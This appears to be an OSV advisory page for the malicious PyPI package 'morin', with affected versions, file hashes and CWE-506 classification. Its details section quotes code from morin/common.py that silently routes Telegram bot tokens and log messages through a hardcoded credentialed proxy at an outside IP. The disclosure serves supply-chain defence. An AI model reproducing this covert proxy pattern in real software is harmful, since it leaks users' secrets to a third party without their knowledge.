MAL-2026-4757

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/morin/MAL-2026-4757.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4757
Published
2026-05-19T22:06:36Z
Modified
2026-05-26T06:03:12.139707995Z
Summary
Malicious code in morin (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (37c27d25a4c203cbb89156281fbacc7feb424a09eaa296f7c3dedff860891f1f)

morin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (proxies = {'https': 'http://5TUMV6:sq3suS@191.102.147.15:8000'}) and unconditionally routes all Telegram API calls through it via requests.get(url, params=params, proxies=proxies, timeout=15) where url=https://api.telegram.org/bot{bot_token}/sendMessage. Every Clickhouse/connector class in the package funnels through Common.log_func / Common.send_logs, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-05-26T05:50:21.691270016Z",
            "sha256": "111c7b7358d363a099dcb3480bbef538d2ef40cb2e10a5558176496feef8bea5",
            "modified_time": "2026-05-19T22:10:44Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-003291",
            "versions": [
                "0.5.24"
            ]
        },
        {
            "import_time": "2026-05-26T05:50:21.597873394Z",
            "sha256": "37c27d25a4c203cbb89156281fbacc7feb424a09eaa296f7c3dedff860891f1f",
            "modified_time": "2026-05-19T22:06:36Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-003290",
            "versions": [
                "0.5.23"
            ]
        },
        {
            "import_time": "2026-05-26T05:50:53.409056686Z",
            "sha256": "9bc3ae6b2fbaf12d72087044e10c772a0e60c32404950ba8d8a41df145ca5b96",
            "modified_time": "2026-05-20T15:07:53Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-003576",
            "versions": [
                "0.5.26"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / morin

Package

Name
morin
View open source insights on deps.dev
Purl
pkg:pypi/morin

Affected ranges

Affected versions

0.*
0.5.23
0.5.24
0.5.26

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/morin/MAL-2026-4757.json"
indicators 
{
    "evidence_files": [
        {
            "sha256": "7017414d8649055ed021cb87994779eaf9a66f7e882310f6320ce986cf7102bc",
            "path": "morin/common.py",
            "tlsh": "a0a2c7509e1768460172e61e8892e815fa1c916b3e75019375fca5b82ff0826dafcfec"
        }
    ],
    "package_integrity": [
        {
            "filename": "morin-0.5.24-py3-none-any.whl",
            "hashes": {
                "blake2b_256": "9bbbb0ce56e84a2c81419c389fe8559e8ac0e858601e364e0e90d0ae26249ef3",
                "sha256": "7a88aa1e2e2c1013d947d6f21d86d21fc867945f0c1bfb2a7a609da6e2677709",
                "md5": "76fdd1b5646a2916c34b8eb75c084b9d"
            }
        },
        {
            "filename": "morin-0.5.24.tar.gz",
            "hashes": {
                "blake2b_256": "21442714a9edca1ec7b0b25e5923f746946c34d728044bed0900d7df320ca40c",
                "sha256": "a0663e2cd6dd3961283ec567f57e310b34148348a4b32ea954d7ae2b4cbd38b9",
                "md5": "fad353f6e6f78275fa59abd8252f0a77"
            }
        }
    ]
}
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]